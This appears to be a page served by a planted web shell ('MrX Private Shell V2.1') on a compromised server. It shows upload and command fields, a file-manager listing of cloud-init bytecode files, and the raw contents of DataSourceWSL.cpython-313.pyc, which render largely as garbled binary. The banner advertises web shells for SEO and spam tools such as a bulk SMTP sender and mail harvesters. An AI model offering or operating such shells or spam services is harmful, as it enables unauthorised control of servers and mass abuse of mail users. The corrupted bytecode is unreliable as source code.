__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[ht9����SrSSKrSSKrSSKrSSKJr SSKJrJrJr SSK	r	SSK
JrJrJ
r
 SSKJr SSKJr SSKJr \R("\5rS	rS
rSrSrS
\4SjrS
\\4SjrS
\4SjrS
\4SjrS\S
\\4Sjr S
\\4Sjr!"SS5r"S\\S\S
\#4Sjr$S\S
\\\"\\"44Sjr%S\\"S\\"S
\\4Sjr&"SS\RN5r(\(\RR44/r*S r+g)!z?Datasource to support the Windows Subsystem for Linux platform.�N)�PurePath)�List�Optional�Tuple)�sources�subp�util)�Distro)�type_from_starts_with)�Pathsz/usr/bin/wslpathziid-datasource-wsl�%s.user-dataz
agent.yaml�returnc��[R"[SS/5up[UR55R$)zD
Returns the name of the current WSL instance as seen from outside.
z-am�/)r�WSLPATH_CMDr�rstrip�name)�
root_net_path�_s  �A/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceWSL.py�
instance_namers6���y�y�+�u�c�!:�;��M��M�(�(�*�+�0�0�0�c��SnSn/n[R"5R5H,nUSU:XdMXS;dMURUS5 M. U$)z�
Return a list of mount points of the Windows drives inside the current
WSL instance, if drives are mounted, or an empty list otherwise
�9pzaname=drvfs�fstype�opts�
mountpoint)r	�mounts�values�append)�FS_TYPE�OPTIONS_CONTAIN�mounted�mnts    r�mounted_win_drivesr%+sY��
�G�#�O��G��{�{�}�#�#�%���x�=�G�#��v�;�(F��N�N�3�|�,�-�&��Nrc�,�[5nU(d[S5eSnUHTnX-n[R"U[R5(dM3[
R
SU5 [U5s $ [SSRU5-5e)z7
Returns the Linux path to the Windows host's cmd.exe.
zWindows drives are not mounted.z%s/Windows/System32/cmd.exezFound cmd.exe at <%s>z,Couldn't find cmd.exe in any mount point: %sz, )	r%�IOError�os�access�X_OK�LOG�debugr�join)r�	candidater$�cmds    r�cmd_executabler0;s���
 �
!�F���7�8�8�.�I����o���y�y��b�g�g�&�&���	�	�)�3�/���}��
��6����6�9J�J��rc�4�[5n[R"SUR5SS/5upUR5nU(d[R"S5e[R"[
SU/5up2[
UR55$)z�
Finds the user's home directory path as a WSL path.

raises: IOError when no mountpoint with cmd.exe is found
           ProcessExecutionError when either cmd.exe is unable to retrieve
           the user's home directory
z/initz/Czecho %USERPROFILE%z4No output from cmd.exe to show the user profile dir.z-au)r0r�as_posixr�ProcessExecutionErrorrr)r/�homer�outs    r�	find_homer6Ss|���
�C��i�i��#�,�,�.�$�8L�M�N�G�D��;�;�=�D���(�(�B�
�	
��Y�Y��U�D�1�
2�F�C��C�J�J�L�!�!r�	user_homec���[RRUS5n[RRU5(d[RSU5 g[
U5$)z�
Returns the Windows user profile .cloud-init directory translated as a
Linux path accessible inside the current WSL instance, or None if not
found.
z.cloud-initz*cloud-init user data dir %s doesn't exist.N)r(�pathr-�isdirr+r,r)r7�seed_dirs  r�cloud_init_data_dirr<qsH���w�w�|�|�I�}�5�H�
�7�7�=�=��"�"��	�	�>��I���H��rc�p�[R"5upnU(aUOUnSU-U<SU<S3SU-S/$)zs
Return a list of candidate file names that may contain user-data
in some supported format, ordered by precedence.
r
�-z
.user-dataz%s-all.user-datazdefault.user-data)r	�get_linux_distro)r�distribution_id�
version_id�version_codename�versions     r�candidate_user_data_file_namesrDsI��
59�4I�4I�4K�1�O�!1�&�j�,<�G�	��&�,�g�6��_�,��	�	rc�4�\rSrSrSrS\4SjrS\4SjrSr	g)	�
ConfigData�zzModels a piece of configuration data as a dict if possible, while
retaining its raw representation alongside its file pathr9c���[R"U5UlXlSUlS[UR5:Xa&[R"UR5Ulgg)Nztext/cloud-config)r	�load_text_file�rawr9�config_dictr�	load_yaml)�selfr9s  r�__init__�ConfigData.__init__�sN���+�+�D�1���"�	�+/����"7����"A�A�#�~�~�d�h�h�7�D��Brrc��URSL$�N)rK)rMs r�is_cloud_config�ConfigData.is_cloud_config�s�����t�+�+r)rKr9rJN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrN�boolrR�__static_attributes__�rrrFrF�s ��@�8�X�8�,��,rrF�cloudinitdirrc��S[0nUcU$[RRUR	5SU-5n[
R"[
R"U55nU(aSU;a(SUSU3n[RU5 [U5eU$![a [RSU5 NYf=f)zT
Returns the relevant metadata loaded from cloudinit dir based on the
instance name
�instance-idz%s.meta-dataz<No instance metadata found at %s. Using default instance-id.z
 Metadata at z5 does not contain instance-id key. Instead received: )
�DEFAULT_INSTANCE_IDr(r9r-r2r	rLrI�FileNotFoundErrorr+r,�error�
ValueError)r\r�metadata�
metadata_path�msgs     r�load_instance_metadatarf�s����2�3�H������G�G�L�L������-�!?��M�
��>�>�$�"5�"5�m�"D�E���}�H�4��M�?�+"�"*��
-�	�	�	�	�#����o���O���
��	�	�J��	
�
�s�*B!�! C�Cc�`�[RRUS5n[RRU5(dg[	[RRU[
[
5-55nSn[RRU5(a+[RSU[U55 [U5n[	[RRU[55nSn[RRU5(a[U5nXS4$)z[
Read .ubuntupro user-data if present and return a tuple of agent and
landscape user-data.
z.ubuntupro/.cloud-init)NNNzYLandscape configuration found: %s. Organization policy ignores any local user-data in %s.)
r(r9r-r:r�LANDSCAPE_DATA_FILEr�isfiler+r,r<rF�AGENT_DATA_FILE)r7�pro_dir�landscape_path�landscape_data�
agent_path�
agent_datas      r�load_ubuntu_pro_datarp�s����g�g�l�l�9�&>�?�G�
�7�7�=�=��!�!���
�����W�1�M�O�C�D��N��N�	�w�w�~�~�n�%�%��	�	�
1���	�*�		
�$�N�3���"�'�'�,�,�w��@�A�J��J�	�w�w�~�~�j�!�!��
�+�
��%�%rro�	user_datac��UbUR(d!UbUR(dgUR$UbUR(d!UbUR(dgUR$[UR5UR5/5(dP[R	S5 SUR
R
5<SUR
R
5<S3$0nSn/n[UR[5(a>URnURS05RS05RSS5n[UR[5(a�U(a[R	S	5 URnUHnXb;aURU5 XVX&'M! U(a$[R	S
RU55 U(aFURS05RS5(a [R	SU5 X2SSS'S[R"U5R5-$)
aMerge agent.yaml data provided by Ubuntu Pro for WSL
and user data provided either by Landscape or the local user,
according to the UP4W specific rules.

When merging is not possible, provide #include directive to allow
cloud-init to merge separate parts.
NzaUnable to merge {agent_data.path} and {user_data.path}. Providing as separate user-data #include.z	#include
�
��	landscape�client�tagsz.Merging both user_data and agent.yaml configs.z% agent.yaml overrides config keys: , zFLandscape client conf updated with user-data landscape.client.tags: %sz@#cloud-config
# WSL datasouce Merged agent.yaml and user_data
%s)rJ�allrRr+r,r9r2�
isinstancerK�dict�getr r-�yaml�dump�strip)rorq�merged�	user_tags�overridden_keys�agent�keys       r�merge_agent_landscape_datar��s���	��J�N�N���y�}�}���}�}��	��9�=�=���
�����~�~���
�*�*�,�i�.G�.G�.I�J�K�K��	�	�
8�	
�

�O�O�$�$�&��N�N�#�#�%�
�	
��F��I�(*�O��)�'�'��.�.��&�&���J�J�{�B�'�+�+�H�b�9�=�=�f�b�I�	��*�(�(�$�/�/���I�I�F�G��&�&���C��}��&�&�s�+��*�F�K����I�I����o�.�
�����K��4�8�8��B�B��I�I�-��
�
5>�;���)�&�1�	M�
�)�)�F�
�
!�
!�
#�	$�rc�j^�\rSrSrSrSS\S\4U4SjjjrS\S\4Sjr	S\
4S	jrS\
4S
jrSr
U=r$)
�
DataSourceWSLi:�WSL�distro�pathsc�4>�[TU]XX45 SUlg)Nrt)�superrNr)rM�sys_cfgr�r��ud_proc�	__class__s     �rrN�DataSourceWSL.__init__=s���
����%�9���rr;rc��[R"U5Vs0sH'o"RR5UR_M) nnU(d[SU-5e[
UR5Vs/sHnUR5PM nnUH%nXcR5;dM[X65s $ [SU-5es snfs snf)zi
Finds the most precendent of the candidate files that may contain
user-data, if any, or None otherwise.
z%s directory is emptyz6%s doesn't contain any of the expected user-data files)
r(�scandirr�casefoldr9r'rDr�keysr)rMr;�ef�existing_files�f�folded_names�filenames       r�find_user_data_file�!DataSourceWSL.find_user_data_fileAs���35�*�*�X�2F�
�2F�B�G�G�������'�2F�	�
���1�H�<�=�=�4�D�4F�4F�G�
�G��
�J�J�L�G�	�
�%�H��.�.�0�0��� 8�9�9�%��D�x�O�
�	
��
��
s�.C
�5Cc� �UR5nU(dg[[55n[U[	55nX$RS5:H$![[4a)n[RS[U55 SnAgSnAff=f)NFr^z2Unable to check_instance_id from metadata file: %s)�get_instance_idr<r6rfrr{r'rbr+�warning�str)rMr��current�data_dirrc�errs      r�check_instance_id�DataSourceWSL.check_instance_id_sy���&�&�(����
	�*�9�;�7�H�-�h�
��H�H��l�l�=�9�9�9����$�	��K�K�D��C��
���	�s�9A�B
�$B�B
c�T�[R"[5(d[R	S[5 g[5Ul[
5n[U5nSnSn[X0R
5Ul
URRS:Xa
[!U5upEUcUb[#UR%U55n[)XT/5(dg[+XE5Ulg![a n[R	SU5 SnAgSnAff=f![[4a)n[RS[U55 SnAgSnAff=f![[4aDnU(a[R&O[RnU"SU[U55 SnAN�SnAff=f)Nz5No WSL command %s found. Cannot detect WSL datasourceFz#Unable to detect WSL datasource: %szUnable to load metadata: %s�ubuntuz+Unable to load any user-data file in %s: %sT)r�whichrr+r,rr6r'r<rfrcrbrar�r�rrprFr��info�anyr��userdata_raw)rMr7�er;rorqr��logs        r�	_get_data�DataSourceWSL._get_datarsi���z�z�+�&�&��I�I�G��
��*�_���	�!��I�
'�y�1��+/�
�*.�	�	�2��,�,��D�M��;�;���x�'�$8��$C�!�J�
	�� �X�%9�&�t�'?�'?��'I�J�	��I�*�+�+��6�z�M�����O�	��I�I�;�Q�?���	���G�$�	��I�I�3�S��X�>���	���G�$�	�(�#�(�(�c�i�i�C��=���C��
�
��	�sH�
C*�%D�' E�*
D�4D�D�E�'E�E�F'�#:F"�"F')rrcr�rQ)rTrUrVrW�dsnamer
rrNrr�rYr�r�rZ�
__classcell__)r�s@rr�r�:sP���
�F� �� �u� � �
�H�
��
�<�D��&2�4�2�2rr�c�8�[R"U[5$rQ)r�list_from_depends�datasources)�dependss r�get_datasource_listr��s���$�$�W�k�:�:r),rX�loggingr(�typing�pathlibrrrrr|�	cloudinitrrr	�cloudinit.distrosr
�cloudinit.handlersr�cloudinit.helpersr�	getLoggerrTr+rr_rhrjr�rr%r0r6r<rDrFrzrfrpr��
DataSourcer��DEP_FILESYSTEMr�r�r[rr�<module>r�sl��F��	�
��(�(��)�)�$�4�#�
����!�� ��*��$����
1�s�
1�
�D��I�
� ���0"�8�"�<�8����0B���T�#�Y��(,�,�"��8�$��58��	��B&��&�
�8�J���*�!5�5�6�&�@R���$�R�19�*�1E�R�
�c�]�R�jj�G�&�&�j�^�W�+�+�-�.���;r

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager